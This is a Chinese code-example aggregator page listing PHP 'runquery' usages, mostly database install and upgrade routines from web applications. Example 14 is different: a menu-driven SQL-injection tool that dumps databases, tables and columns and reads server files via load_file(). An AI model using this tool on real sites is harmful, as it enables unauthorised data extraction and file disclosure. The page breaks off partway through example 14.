当前位置: 首页>>代码示例>>PHP>>正文


PHP runquery函数代码示例

本文整理汇总了PHP中runquery函数的典型用法代码示例。如果您正苦于以下问题:PHP runquery函数的具体用法?PHP runquery怎么用?PHP runquery使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了runquery函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。

示例1: on_upgrade

 function on_upgrade($nowversion)
 {
     if ($nowversion == '0') {
         DB::query("DELETE FROM  `setting` WHERE  `k` LIKE  'zw_blockid%';");
         return '1.2.0';
     }
     if ($nowversion == '1.2.0') {
         return '1.2.4';
     }
     if ($nowversion == '1.2.4') {
         runquery("UPDATE cron SET id='zw_blockid/cron/zw_blockid' WHERE id='zw_blockid';\n\t\t\tUPDATE cron SET id='zw_blockid/cron/zw_blockid_daily' WHERE id='zw_blockid_daily';\n\t\t\tUPDATE cron SET id='zw_blockid/cron/zw_blockid_mail' WHERE id='zw_blockid_mail';");
         return '1.2.5';
     }
     if ($nowversion == '1.2.5') {
         runquery("UPDATE cron SET id='zw_blockid/cron_blockid' WHERE id='zw_blockid' OR id='zw_blockid/cron/zw_blockid';\n\t\t\tUPDATE cron SET id='zw_blockid/cron_daily' WHERE id='zw_blockid_daily' OR id='zw_blockid/cron/zw_blockid_daily';\n\t\t\tUPDATE cron SET id='zw_blockid/cron_mail' WHERE id='zw_blockid_mail' OR id='zw_blockid/cron/zw_blockid_mail';");
         return '1.2.6';
     }
     if ($nowversion == '1.2.6') {
         runquery("UPDATE cron SET id='zw_blockid/blockid' WHERE id='zw_blockid/cron_blockid';\n\t\t\tUPDATE cron SET id='zw_blockid/daily' WHERE id='zw_blockid/cron_daily';\n\t\t\tUPDATE cron SET id='zw_blockid/mail' WHERE id='zw_blockid/cron_mail';");
         return '1.2.8';
     }
     if ($nowversion == '1.2.8') {
         runquery("CREATE TABLE IF NOT exists `zw_blockid_list_tmp` (\n  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,\n  `uid` int(10) unsigned NOT NULL,\n  `fid` int(10) unsigned NOT NULL,\n  `blockid` varchar(20) NOT NULL,\n  `tieba` varchar(200) NOT NULL,\n  PRIMARY KEY (`id`),\n  UNIQUE KEY `uid` (`uid`,`fid`,`blockid`,`tieba`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8;\nINSERT INTO `zw_blockid_list_tmp`(uid, fid, blockid, tieba) SELECT DISTINCT uid, fid, blockid, tieba FROM `zw_blockid_list`;\nDELETE FROM `zw_blockid_list`;\nINSERT INTO `zw_blockid_list`(uid, fid, blockid, tieba) SELECT DISTINCT uid, fid, blockid, tieba FROM `zw_blockid_list_tmp`;\nDROP TABLE `zw_blockid_list_tmp`;\nALTER TABLE `zw_blockid_list` ADD UNIQUE (`uid` ,`fid` ,`blockid` ,`tieba`);\n");
     }
 }
开发者ID:myhloli,项目名称:Tieba_Sign,代码行数:25,代码来源:plugin.class.php

示例2: update_adv

function update_adv()
{
    if (strtoupper(DBCHARSET) == 'GBK') {
        $sqlfile = 'gbk_add.sql';
    } else {
        $sqlfile = 'utf8_add.sql';
    }
    $sql = file_get_contents($sqlfile);
    $sql = str_replace("\r\n", "\n", $sql);
    runquery($sql);
}
开发者ID:hyperbolaa,项目名称:shopnc,代码行数:11,代码来源:index.php

示例3: run_file

function run_file($sqlfile)
{
    if (!$sqlfile) {
        return;
    }
    $sqlfile = M_ROOT . './updatedata/' . $sqlfile;
    $fp = fopen($sqlfile, 'rb');
    $sql = fread($fp, filesize($sqlfile));
    fclose($fp);
    runquery($sql);
}
开发者ID:polarlight1989,项目名称:08cms,代码行数:11,代码来源:update.fun.php

示例4: update_db

function update_db()
{
    $sqlfile = 'utf8.sql';
    global $tablepre, $db, $config;
    $sql = file_get_contents($sqlfile);
    $sql = str_replace("\r\n", "\n", $sql);
    runquery($sql);
    $db->query('update ' . $tablepre . 'goods set is_own_shop = 1 where store_id = ' . $config['default_store_id']);
    $db->query('update ' . $tablepre . 'goods_common set is_own_shop = 1 where store_id = ' . $config['default_store_id']);
    $db->query('update ' . $tablepre . 'store set is_own_shop = 1 where store_id = ' . $config['default_store_id']);
    $db->query('update ' . $tablepre . 'store set bind_all_gc = 1 where store_id = ' . $config['default_store_id']);
}
开发者ID:qqq232575,项目名称:shopx,代码行数:12,代码来源:index.php

示例5: install

 public function install()
 {
     $query = DB::query('SHOW TABLES');
     $tables = array();
     while ($table = DB::fetch($query)) {
         $tables[] = implode('', $table);
     }
     if (!in_array('fsql_zan_bar', $tables)) {
         runquery("\n\t\t\tCREATE TABLE IF NOT EXISTS `fsql_zan_bar` (\n\t\t\t\t`sid` int(10) unsigned NOT NULL AUTO_INCREMENT PRIMARY KEY,\n\t\t\t\t`uid` int(10) unsigned NOT NULL,\n\t\t\t\t`name` varchar(127) NOT NULL,\n\t\t\t\t`unicode_name` varchar(512) NOT NULL\n\t\t\t) ENGINE=MyISAM DEFAULT CHARSET=utf8;\n\n\t\t\tCREATE TABLE IF NOT EXISTS `fsql_zan_log` (\n\t\t\t\t`sid` int(10) unsigned NOT NULL,\n\t\t\t\t`uid` int(10) unsigned NOT NULL,\n\t\t\t\t`date` int(11) NOT NULL DEFAULT '0',\n\t\t\t\t`count` int(11) NOT NULL DEFAULT '0',\n\t\t\t\tUNIQUE KEY `sid` (`sid`,`date`),\n\t\t\t\tKEY `uid` (`uid`)\n\t\t\t) ENGINE=MyISAM DEFAULT CHARSET=utf8;\n\n\t\t");
         $this->saveSetting('limit', '0');
         $this->saveSetting('sleep', '2');
         $this->saveSetting('sp', '1');
     }
 }
开发者ID:myhloli,项目名称:Tieba_Sign,代码行数:14,代码来源:plugin.class.php

示例6: step3

function step3(&$install_error, &$install_recover)
{
    global $html_title, $html_header, $html_footer;
    if ($_POST['submitform'] != 'submit') {
        return;
    }
    $db_host = $_POST['db_host'];
    $db_port = $_POST['db_port'];
    $db_user = $_POST['db_user'];
    $db_pwd = $_POST['db_pwd'];
    $db_name = $_POST['db_name'];
    $db_prefix = $_POST['db_prefix'];
    $admin = $_POST['admin'];
    $password = $_POST['password'];
    if (!$db_host || !$db_port || !$db_user || !$db_pwd || !$db_name || !$db_prefix || !$admin || !$password) {
        $install_error = '输入不完整,请检查';
    }
    if (strpos($db_prefix, '.') !== false) {
        $install_error .= '数据表前缀为空,或者格式错误,请检查';
    }
    if (strlen($admin) > 15 || preg_match("/^\$|^c:\\con\\con\$| |[,\"\\s\t\\<\\>&]|^游客|^Guest/is", $admin)) {
        $install_error .= '非法用户名,用户名长度不应当超过 15 个英文字符,且不能包含特殊字符,一般是中文,字母或者数字';
    }
    if ($install_error != '') {
        reutrn;
    }
    if (!@mysql_connect($db_host . ":" . $db_port, $db_user, $db_pwd)) {
        $install_error = '数据库连接失败';
        return;
    }
    if (mysql_get_server_info() > '5.0') {
        mysql_query("CREATE DATABASE IF NOT EXISTS `{$db_name}` DEFAULT CHARACTER SET " . DBCHARSET);
    } else {
        $install_error = '数据库必须为MySQL5.0版本以上';
        return;
    }
    if (mysql_errno()) {
        $install_error = mysql_error();
        return;
    }
    if ($_POST['install_recover'] != 'yes' && ($query = mysql_query("SHOW TABLES FROM {$db_name}"))) {
        while ($row = mysql_fetch_row($query)) {
            if (preg_match("/^{$db_prefix}/", $row[0])) {
                $install_error = '数据表已存在,继续安装将会覆盖已有数据';
                $install_recover = 'yes';
                return;
            }
        }
    }
    require 'step_4.php';
    $sitepath = strtolower(substr($_SERVER['PHP_SELF'], 0, strrpos($_SERVER['PHP_SELF'], '/')));
    $sitepath = str_replace('/install', "", $sitepath);
    $auto_site_url = strtolower('http://' . $_SERVER['HTTP_HOST'] . $sitepath);
    write_config($auto_site_url);
    //execute sql
    $db = new db();
    $db->connect($db_host . ":" . $db_port, $db_user, $db_pwd, $db_name, DBCHARSET);
    if (strtoupper(DBCHARSET) == 'GBK') {
        $_charset = 'gbk';
    } else {
        $_charset = 'utf8';
    }
    $sql = file_get_contents("data/{$_charset}.sql");
    $sql .= "\r\n" . file_get_contents("data/{$_charset}_cms.sql");
    $sql .= "\r\n" . file_get_contents("data/{$_charset}_circle.sql");
    $sql .= "\r\n" . file_get_contents("data/{$_charset}_microshop.sql");
    if ($_POST['demo_data'] == '1') {
        $sql .= file_get_contents("data/{$_charset}_add.sql");
    }
    $sql = str_replace("\r\n", "\n", $sql);
    runquery($sql, $db_prefix, $db);
    showjsmessage('初始化数据 ... 成功 ');
    /**
     * 转码
     */
    if (strtoupper(DBCHARSET) == 'GBK') {
        $sitename = iconv('UTF-8', 'GBK', $_POST['site_name']);
        $username = iconv('UTF-8', 'GBK', $_POST['admin']);
        $password = iconv('UTF-8', 'GBK', $_POST['password']);
        $store_name = iconv('UTF-8', 'GBK', $_POST['store_name']);
        $member_name = iconv('UTF-8', 'GBK', $_POST['member_name']);
        $seller_name = iconv('UTF-8', 'GBK', $_POST['seller_name']);
        $member_password = iconv('UTF-8', 'GBK', $_POST['member_password']);
    } else {
        $sitename = $_POST['site_name'];
        $username = $_POST['admin'];
        $password = $_POST['password'];
        $store_name = $_POST['store_name'];
        $member_name = $_POST['member_name'];
        $seller_name = $_POST['seller_name'];
        $member_password = $_POST['member_password'];
    }
    /**
     * 产生随机的md5_key,来替换系统默认的md5_key值
     */
    $md5_key = md5(random(4) . substr(md5($_SERVER['SERVER_ADDR'] . $_SERVER['HTTP_USER_AGENT'] . $db_host . $db_user . $db_pwd . $db_name . substr(time(), 0, 6)), 8, 6) . random(10));
    $db->query("UPDATE {$db_prefix}setting SET value='" . $sitename . "' WHERE name='site_name'");
    $db->query("UPDATE {$db_prefix}setting SET value='" . $md5_key . "' WHERE name='md5_key'");
    //管理员帐号密码
    $db->query("INSERT INTO {$db_prefix}admin (`admin_id`,`admin_name`,`admin_password`,`admin_login_time`,`admin_login_num`,`admin_is_super`) VALUES ('1','{$username}','" . md5($password) . "', '" . time() . "' ,'0',1);");
//.........这里部分代码省略.........
开发者ID:ff00x0,项目名称:shopnc,代码行数:101,代码来源:index.php

示例7: show_msg

     show_msg(lang('update', 'reports_completed'), "{$theurl}?step=data&op={$nextop}");
 } elseif ($_GET['op'] == 'myappcount') {
     $nextop = 'nav';
     $count = DB::result(DB::query("SELECT COUNT(*) FROM " . DB::table('common_myapp_count')), 0);
     if (!$count) {
         DB::query('INSERT INTO ' . DB::table('common_myapp_count') . ' (appid) SELECT appid FROM ' . DB::table('common_myapp'));
     }
     show_msg(lang('update', 'apps_completed'), "{$theurl}?step=data&op={$nextop}");
 } elseif ($_GET['op'] == 'nav') {
     $nextop = 'forumstatus';
     $count = DB::result(DB::query("SELECT COUNT(*) FROM " . DB::table('common_nav') . " WHERE navtype='0' AND type='0' AND identifier=''"), 0);
     if ($count) {
         DB::delete('common_nav', "navtype='0' AND type='0' AND identifier=''");
         $sql = implode('', file(DISCUZ_ROOT . './install/data/install_data.sql'));
         preg_match("/\\[update\\_nav\\](.+?)\\[\\/update\\_nav\\]/is", $sql, $a);
         runquery($a[1]);
     }
     show_msg(lang('update', 'navigation_completed'), "{$theurl}?step=data&op={$nextop}");
 } elseif ($_GET['op'] == 'forumstatus') {
     $nextop = 'poststick';
     $query = DB::query("SELECT fid FROM " . DB::table('forum_forum') . " WHERE status='2'");
     if (DB::num_rows($query)) {
         while ($row = DB::fetch($query)) {
             $fids[] = $row['fid'];
         }
         DB::update('forum_forumfield', array('hidemenu' => 1), "fid IN (" . dimplode($fids) . ")");
         DB::update('forum_forum', array('status' => 1), "status='2'");
     }
     show_msg(lang('update', 'group_status_completed'), "{$theurl}?step=data&op={$nextop}");
 } elseif ($_GET['op'] == 'poststick') {
     $nextop = 'usergroup_allowvisit';
开发者ID:v998,项目名称:discuzx-en,代码行数:31,代码来源:update.php

示例8: VALUES

REPLACE INTO ask_usergroup VALUES (25, '大学士', 2, 700000, 1000000,24,20,18, 'index/tagquestion,question/answercomment,user/exchange,expert/default,index/taglist,user/famouslist,user/favorite,question/addfavorite,user/space_ask,user/space_answer,user/saveimg,user/editimg,category/recommend,user/register,index/default,category/view,category/list,question/view,note/list,note/view,rss/category,rss/list,rss/question,user/space,user/scorelist,question/search,question/add,question/tagask,gift/default,gift/search,gift/add,user/register,user/default,user/score,user/ask,user/answer,user/profile,user/uppass,attach/upload,question/answer,question/adopt,question/govote,question/close,question/supply,question/add,question/addscore,question/editanswer,question/search,message/send,message/new,message/personal,message/system,message/outbox,message/view,message/remove');
REPLACE INTO ask_usergroup VALUES (26, '文曲星', 2, 1000000, 999999999,0,0,0, 'index/tagquestion,question/answercomment,user/exchange,expert/default,index/taglist,user/famouslist,user/favorite,question/addfavorite,user/space_ask,user/space_answer,user/saveimg,user/editimg,category/recommend,user/register,index/default,category/view,category/list,question/view,note/list,note/view,rss/category,rss/list,rss/question,user/space,user/scorelist,question/search,question/add,question/tagask,gift/default,gift/search,gift/add,user/register,user/default,user/score,user/ask,user/answer,user/profile,user/uppass,attach/upload,question/answer,question/adopt,question/govote,question/close,question/supply,question/add,question/addscore,question/editanswer,question/search,message/send,message/new,message/personal,message/system,message/outbox,message/view,message/remove');



EOT;
if (!$action) {
    echo '<meta http-equiv=Content-Type content="text/html;charset=' . TIPASK_CHARSET . '">';
    echo "本程序仅用于升级 Tipask V1.4正式版 到 Tipask2.0beta正式版,请确认之前已经顺利安装Tipask V1.4正式版!<br><br><br>";
    echo "<b><font color=\"red\">运行本升级程序之前,请确认已经上传 Tipask2.0beta正式版的全部文件和目录</font></b><br><br>";
    echo "<b><font color=\"red\">本程序只能从 Tipask V1.4正式版 到 Tipask2.0beta正式版,切勿使用本程序从其他版本升级,否则可能会破坏掉数据库资料.<br><br>强烈建议您升级之前备份数据库资料!</font></b><br><br>";
    echo "正确的升级方法为:<br>1. 上传 Tipask2.0beta 正式版的全部文件和目录,覆盖服务器上的 Tipask V1.4正式版版;<br>2. 上传本程序(1.4To2.0beta.php)到 Tipask目录中;<br>3. 运行本程序,直到出现升级完成的提示;<br>4. 登录Tipask后台,更新缓存,升级完成。<br><br>";
    echo "<a href=\"{$PHP_SELF}?action=upgrade\">如果您已确认完成上面的步骤,请点这里升级</a>";
} else {
    $db = new db(DB_HOST, DB_USER, DB_PW, DB_NAME, DB_CHARSET, DB_CONNECT);
    runquery($upgrade);
    $config = "<?php \r\ndefine('DB_HOST',  '" . DB_HOST . "');\r\n";
    $config .= "define('DB_USER',  '" . DB_USER . "');\r\n";
    $config .= "define('DB_PW',  '" . DB_PW . "');\r\n";
    $config .= "define('DB_NAME',  '" . DB_NAME . "');\r\n";
    $config .= "define('DB_CHARSET', '" . DB_CHARSET . "');\r\n";
    $config .= "define('DB_TABLEPRE',  '" . DB_TABLEPRE . "');\r\n";
    $config .= "define('DB_CONNECT', 0);\r\n";
    $config .= "define('TIPASK_CHARSET', '" . TIPASK_CHARSET . "');\r\n";
    $config .= "define('TIPASK_VERSION', '2.0Beta');\r\n";
    $config .= "define('TIPASK_RELEASE', '20120322');\r\n";
    $fp = fopen(TIPASK_ROOT . '/config.php', 'w');
    fwrite($fp, $config);
    fclose($fp);
    cleardir(TIPASK_ROOT . '/data/cache');
    cleardir(TIPASK_ROOT . '/data/view');
开发者ID:source-hunter,项目名称:tipask,代码行数:31,代码来源:1.4to2.0beta.php

示例9: elseif

} elseif ($current_version == '1.13.11.5') {
    DB::query('
CREATE TABLE IF NOT EXISTS `plugin` (
  id int(11) NOT NULL AUTO_INCREMENT,
  `name` varchar(64) NOT NULL,
  module text NOT NULL,
  PRIMARY KEY (id),
  UNIQUE KEY `name` (`name`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8
');
    DB::insert('plugin', array('name' => 'debug_info'));
    DB::insert('plugin', array('name' => 'update_log'));
    saveSetting('version', '1.13.11.9');
    showmessage('成功更新到 1.13.11.9!', './');
} elseif ($current_version == '1.13.11.9') {
    runquery("\nALTER TABLE `plugin` ADD `enable` TINYINT(1) NOT NULL DEFAULT '1' AFTER `id`;\nALTER TABLE `plugin` ADD `version` VARCHAR(8) NOT NULL DEFAULT '0';\nALTER TABLE `member_setting` ADD `cookie` TEXT BINARY CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;\n");
    $query = DB::query('SELECT uid, cookie FROM member');
    while ($result = DB::fetch($query)) {
        save_cookie($result['uid'], $result['cookie']);
    }
    DB::query('ALTER TABLE `member` DROP `cookie`');
    $query = DB::query('SHOW columns FROM `plugin`');
    while ($result = DB::fetch($query)) {
        if ($result['Field'] == 'module') {
            DB::query('ALTER TABLE `plugin` DROP `module`');
        }
    }
    CACHE::clear();
    CACHE::update('plugins');
    saveSetting('register_limit', 1);
    saveSetting('register_check', 1);
开发者ID:istobran,项目名称:Tieba_Sign,代码行数:31,代码来源:1.13.php

示例10: runquery

DELETE FROM {$db_prefix}settings WHERE title = 'trackback_num' LIMIT 1;
DELETE FROM {$db_prefix}settings WHERE title = 'trackback_order' LIMIT 1;
DELETE FROM {$db_prefix}settings WHERE title = 'artlink_ext' LIMIT 1;
DELETE FROM {$db_prefix}settings WHERE title = 'smarturl' LIMIT 1;
DELETE FROM {$db_prefix}settings WHERE title = 'js_cache_life' LIMIT 1;
DELETE FROM {$db_prefix}settings WHERE title = 'js_enable' LIMIT 1;
DELETE FROM {$db_prefix}settings WHERE title = 'js_lock_url' LIMIT 1;
DELETE FROM {$db_prefix}settings WHERE title = 'rewrite_enable' LIMIT 1;
DELETE FROM {$db_prefix}settings WHERE title = 'rewrite_ext' LIMIT 1;
DELETE FROM {$db_prefix}settings WHERE title = 'wap_article_pagenum' LIMIT 1;
DELETE FROM {$db_prefix}settings WHERE title = 'wap_article_title_limit' LIMIT 1;
DELETE FROM {$db_prefix}settings WHERE title = 'wap_comment_pagenum' LIMIT 1;
DELETE FROM {$db_prefix}settings WHERE title = 'wap_tags_pagenum' LIMIT 1;
DELETE FROM {$db_prefix}settings WHERE title = 'wap_trackback_pagenum' LIMIT 1;
EOT;
    runquery($add);
    echo '<p class="p2">成功重建数据结构和数据</p><p class="p2"><a href="' . $php_self . '?action=four">程序将自动跳转.如果没有自动跳转,请点击这里.</a></p>';
    echo '<meta HTTP-EQUIV="REFRESH" content="2;URL=' . $php_self . '?action=four">';
    echo '</div></body></html>';
    exit;
} elseif ($action == 'four') {
    $query = $DB->query("SELECT * FROM {$db_prefix}trackbacks LIMIT {$start}, {$percount}");
    while ($trackback = $DB->fetch_array($query)) {
        $goon = 1;
        $DB->query("INSERT INTO {$db_prefix}comments (articleid, author, url, dateline, content, ipaddress, type, visible) VALUES ('" . $trackback['articleid'] . "', '" . addslashes($trackback['blog_name']) . "', '" . addslashes($trackback['url']) . "', '" . $trackback['dateline'] . "', '" . addslashes($trackback['title']) . "\n" . addslashes($trackback['excerpt']) . "', '" . addslashes($trackback['ipaddress']) . "', 'trackback', '" . $trackback['visible'] . "')");
    }
    if ($goon) {
        echo '<p class="p2">正在更新 ' . $start . ' 到 ' . $next . ' 项</p><p class="p2"><a href="' . $jumpurl . '">程序将自动跳转.如果没有自动跳转,请点击这里.</a></p>';
        echo '<meta HTTP-EQUIV="REFRESH" content="2;URL=' . $jumpurl . '">';
    } else {
        echo '<p class="p2">成功重建所有文章内的数据</p><p class="p2"><a href="' . $php_self . '?action=five">程序将自动跳转.如果没有自动跳转,请点击这里.</a></p>';
开发者ID:BGCX261,项目名称:zjnewcitycode-svn-to-git,代码行数:31,代码来源:upgrade.php

示例11: show_back

 if (preg_match('/[<>\'\\"]/i', $username)) {
     show_back('注册账号', '用户名中有被禁止使用的关键字');
 }
 if (strlen($username) < 6) {
     show_back('注册账号', '用户名至少要6个字符(即2个中文 或 6个英文),请修改');
 }
 if (strlen($username) > 24) {
     show_back('注册账号', '用户名过长,请修改');
 }
 $install_script = file_get_contents(dirname(__FILE__) . '/install.sql');
 preg_match('/version ([0-9a-z.]+)/i', $install_script, $match);
 $version = trim($match[1]);
 if (!$version) {
     show_back('正在安装', '安装脚本有误,请重新上传');
 }
 $err = runquery($install_script, $link);
 if ($err) {
     show_back('正在安装', '安装过程出现错误:</p><p>' . $err);
 }
 mysql_query("INSERT INTO member SET username='{$username}', password='{$password}', email='{$email}'");
 $uid = mysql_insert_id($link);
 mysql_query("INSERT INTO member_setting SET uid='{$uid}', cookie=''");
 saveSetting('block_register', 1);
 saveSetting('jquery_mode', 2);
 saveSetting('admin_uid', $uid);
 saveSetting('SYS_KEY', $syskey);
 $_config = array('version' => $version, 'db' => array('server' => $db_host, 'port' => $db_port, 'username' => $db_username, 'password' => $db_password, 'name' => $db_name, 'pconnect' => $db_pconnect));
 $content = '<?php' . PHP_EOL . '/* Auto-generated config file */' . PHP_EOL . '$_config = ';
 $content .= var_export($_config, true) . ';' . PHP_EOL . '?>';
 file_put_contents($config_file, $content);
 $content = '<p>贴吧签到助手 已经成功安装!</p><p>要正常签到,请为脚本 cron.php 添加每分钟一次的计划任务。</p><p>系统默认关闭用户注册,如果有需要,请到后台启用用户注册功能。</p><br><p class="btns"><button onclick="location.href=\'../\';">登录 &raquo;</button>';
开发者ID:istobran,项目名称:Tieba_Sign,代码行数:31,代码来源:index.php

示例12: trim

            $configfile = @file_get_contents(ROOT_PATH . './config.php');
            $configfile = trim($configfile);
            $configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;
            $configfile = preg_replace("/[\$]_SC\\[[\"']founder[\"']\\]\\s*\\=\\s*[\"'].*?[\"'];/is", "\$_SC['founder'] = '{$uid}';", $configfile);
            @file_put_contents(ROOT_PATH . './config.php', $configfile);
        }
        @dir_clear(ROOT_PATH . './data/cache/tpl');
        @dir_clear(ROOT_PATH . './data/cache/block');
        @dir_clear(ROOT_PATH . './data/cache/model');
        @dir_clear(ROOT_PATH . './uc_client/data');
        @dir_clear(ROOT_PATH . './uc_client/data/cache');
        touch($lockfile);
        VIEW_OFF && show_msg('initdbresult_succ');
        //設置SITEKEY等
        $sitekey = substr(_generate_key(), 4, 16);
        runquery("REPLACE INTO " . ORIG_TABLEPRE . "settings (`variable` ,`value`) VALUES ('sitekey', '{$sitekey}')");
        if (!VIEW_OFF) {
            echo '<script type="text/javascript">document.getElementById("laststep").disabled=false;document.getElementById("laststep").value = \'' . lang('install_founder_contact') . '\';</script><script type="text/javascript">setTimeout(function(){window.location=\'index.php?method=ext_info\'}, 2000);</script><iframe src="../" style="display:none"></iframe>' . "\r\n";
            show_footer();
        }
    }
    if (VIEW_OFF) {
        show_msg('missing_parameter', '', 0);
    } else {
        show_form($form_db_init_items, $error_msg);
    }
} elseif ($method == 'ext_info') {
    @(include CONFIG);
    $db = new dbstuff();
    $db->connect($dbhost, $dbuser, $dbpw, $dbname, DBCHARSET);
    $skip = getgpc('skip');
开发者ID:pan289091315,项目名称:Discuz,代码行数:31,代码来源:index.php

示例13: step3

function step3(&$install_error, &$install_recover)
{
    global $html_title, $html_header, $html_footer;
    if ($_POST['submitform'] != 'submit') {
        return;
    }
    $db_host = $_POST['db_host'];
    $db_port = $_POST['db_port'];
    $db_user = $_POST['db_user'];
    $db_pwd = $_POST['db_pwd'];
    $db_name = $_POST['db_name'];
    $db_prefix = $_POST['db_prefix'];
    $admin = $_POST['admin'];
    $password = $_POST['password'];
    if (!$db_host || !$db_port || !$db_user || !$db_pwd || !$db_name || !$db_prefix || !$admin || !$password) {
        $install_error = '输入不完整,请检查';
    }
    if (strpos($db_prefix, '.') !== false) {
        $install_error .= '数据表前缀为空,或者格式错误,请检查';
    }
    if (strlen($admin) > 15 || preg_match("/^\$|^c:\\con\\con\$| |[,\"\\s\t\\<\\>&]|^游客|^Guest/is", $admin)) {
        $install_error .= '非法用户名,用户名长度不应当超过 15 个英文字符,且不能包含特殊字符,一般是中文,字母或者数字';
    }
    if ($install_error != '') {
        reutrn;
    }
    if (!@mysql_connect($db_host . ":" . $db_port, $db_user, $db_pwd)) {
        $install_error = '数据库连接失败';
        return;
    }
    if (mysql_get_server_info() > '5.0') {
        mysql_query("CREATE DATABASE IF NOT EXISTS `{$db_name}` DEFAULT CHARACTER SET " . DBCHARSET);
    } else {
        $install_error = '数据库必须为MySQL5.0版本以上';
        return;
    }
    if (mysql_errno()) {
        $install_error = mysql_error();
        return;
    }
    if ($_POST['install_recover'] != 'yes' && ($query = mysql_query("SHOW TABLES FROM {$db_name}"))) {
        while ($row = mysql_fetch_row($query)) {
            if (preg_match("/^{$db_prefix}/", $row[0])) {
                $install_error = '数据表已存在,继续安装将会覆盖已有数据';
                $install_recover = 'yes';
                return;
            }
        }
    }
    require 'step_4.php';
    $sitepath = strtolower(substr($_SERVER['PHP_SELF'], 0, strrpos($_SERVER['PHP_SELF'], '/')));
    $sitepath = str_replace('/shop/install', "", $sitepath);
    $auto_site_url = strtolower('http://' . $_SERVER['HTTP_HOST'] . $sitepath);
    write_config($auto_site_url);
    //execute sql
    $db = new db();
    $db->connect($db_host . ":" . $db_port, $db_user, $db_pwd, $db_name, DBCHARSET);
    if (strtoupper(DBCHARSET) == 'GBK') {
        $_charset = 'gbk';
    } else {
        $_charset = 'utf8';
    }
    $sql = file_get_contents("data/{$_charset}.sql");
    $sql = str_replace("\r\n", "\n", $sql);
    runquery($sql, $db_prefix, $db);
    showjsmessage('初始化数据 ... 成功 ');
    /**
     * 转码
     */
    if (strtoupper(DBCHARSET) == 'GBK') {
        $sitename = iconv('UTF-8', 'GBK', $_POST['site_name']);
        $username = iconv('UTF-8', 'GBK', $_POST['admin']);
        $password = iconv('UTF-8', 'GBK', $_POST['password']);
        $store_name = iconv('UTF-8', 'GBK', $_POST['store_name']);
        $member_name = iconv('UTF-8', 'GBK', $_POST['member_name']);
        $seller_name = iconv('UTF-8', 'GBK', $_POST['seller_name']);
        $member_password = iconv('UTF-8', 'GBK', $_POST['member_password']);
    } else {
        $sitename = $_POST['site_name'];
        $username = $_POST['admin'];
        $password = $_POST['password'];
        $store_name = $_POST['store_name'];
        $member_name = $_POST['member_name'];
        $seller_name = $_POST['seller_name'];
        $member_password = $_POST['member_password'];
    }
    /**
     * 产生随机的md5_key,来替换系统默认的md5_key值
     */
    $md5_key = md5(random(4) . substr(md5($_SERVER['SERVER_ADDR'] . $_SERVER['HTTP_USER_AGENT'] . $db_host . $db_user . $db_pwd . $db_name . substr(time(), 0, 6)), 8, 6) . random(10));
    $db->query("UPDATE {$db_prefix}setting SET value='" . $sitename . "' WHERE name='site_name'");
    $db->query("UPDATE {$db_prefix}setting SET value='" . $md5_key . "' WHERE name='md5_key'");
    //管理员帐号密码
    $db->query("INSERT INTO {$db_prefix}admin (`admin_id`,`admin_name`,`admin_password`,`admin_login_time`,`admin_login_num`,`admin_is_super`) VALUES ('1','{$username}','" . md5($password) . "', '" . time() . "' ,'0',1);");
    //新增一个标识文件,用来屏蔽重新安装
    $fp = @fopen('lock', 'wb+');
    @fclose($fp);
    exit("<script type=\"text/javascript\">document.getElementById('install_process').innerHTML = '安装完成,下一步...';document.getElementById('install_process').href='index.php?step=5&sitename={$sitename}&username={$username}&password={$password}';</script>");
    exit;
}
开发者ID:noikiy,项目名称:shopnc-minion,代码行数:100,代码来源:index.php

示例14: main

function main($msg = null)
{
    global $token, $token_hex;
    echo "\n" . $msg . "\n";
    puts("[>] MAIN MENU");
    puts("[1] Browse MySQL");
    puts("[2] Run SQL Query");
    puts("[3] Read file");
    puts("[4] About");
    puts("[0] Exit");
    $resp = gets();
    if ($resp == "0") {
        exit;
    } elseif ($resp == "1") {
        // pega dbs
        $i = 0;
        puts("[.] Getting databases:");
        while (true) {
            $pega = runquery("SELECT schema_name FROM information_schema.schemata LIMIT {$i},1");
            if ($pega) {
                puts(" - " . $pega);
            } else {
                break;
            }
            $i++;
        }
        puts("[!] Current database: " . runquery("SELECT database()"));
        puts("[?] Enter database name for select:");
        $own = array();
        $own['db'] = gets();
        $own['dbh'] = hex($own['db']);
        // pega tables da db
        $i = 0;
        puts("[.] Getting tables from {$own['db']}:");
        while (true) {
            $pega = runquery("SELECT table_name FROM information_schema.tables WHERE table_schema={$own['dbh']} LIMIT {$i},1");
            if ($pega) {
                puts(" - " . $pega);
            } else {
                break;
            }
            $i++;
        }
        puts("[?] Enter table name for select:");
        $own['tb'] = gets();
        $own['tbh'] = hex($own['tb']);
        // pega colunas da table
        $i = 0;
        puts("[.] Getting columns from {$own['db']}.{$own['tb']}:");
        while (true) {
            $pega = runquery("SELECT column_name FROM information_schema.columns WHERE table_schema={$own['dbh']} AND table_name={$own['tbh']} LIMIT {$i},1");
            if ($pega) {
                puts(" - " . $pega);
            } else {
                break;
            }
            $i++;
        }
        puts("[?] Enter columns name, separated by commas (\",\") for select:");
        $own['cl'] = explode(",", gets());
        // pega dados das colunas
        foreach ($own['cl'] as $coluna) {
            $i = 0;
            puts("[=] Column: {$coluna}");
            while (true) {
                $pega = runquery("SELECT {$coluna} FROM {$own['db']}.{$own['tb']} LIMIT {$i},1");
                if ($pega) {
                    puts(" - {$pega}");
                    $i++;
                } else {
                    break;
                }
            }
            echo "\n[ ] -+-\n";
        }
        main();
    } elseif ($resp == "2") {
        puts("[~] RUN SQL QUERY");
        puts("[!] You can run a SQL code. It can returns a one-line and one-column content. You can also use concat() or group_concat().");
        puts("[?] Query (enter for exit): ");
        $query = gets();
        if (!$query) {
            main();
        } else {
            main(runquery($query . "\n"));
        }
    } elseif ($resp == "3") {
        puts("[?] File path (may not have priv):");
        $file = hex(gets());
        $le = runquery("SELECT load_file({$file}) AS wc");
        if ($le) {
            main($le);
        } else {
            main("File not found, empty or no priv!");
        }
    } elseif ($resp == "4") {
        puts("Coded by WhiteCollarGroup");
        puts("www.wcgroup.host56.com");
        puts("whitecollar_group@hotmail.com");
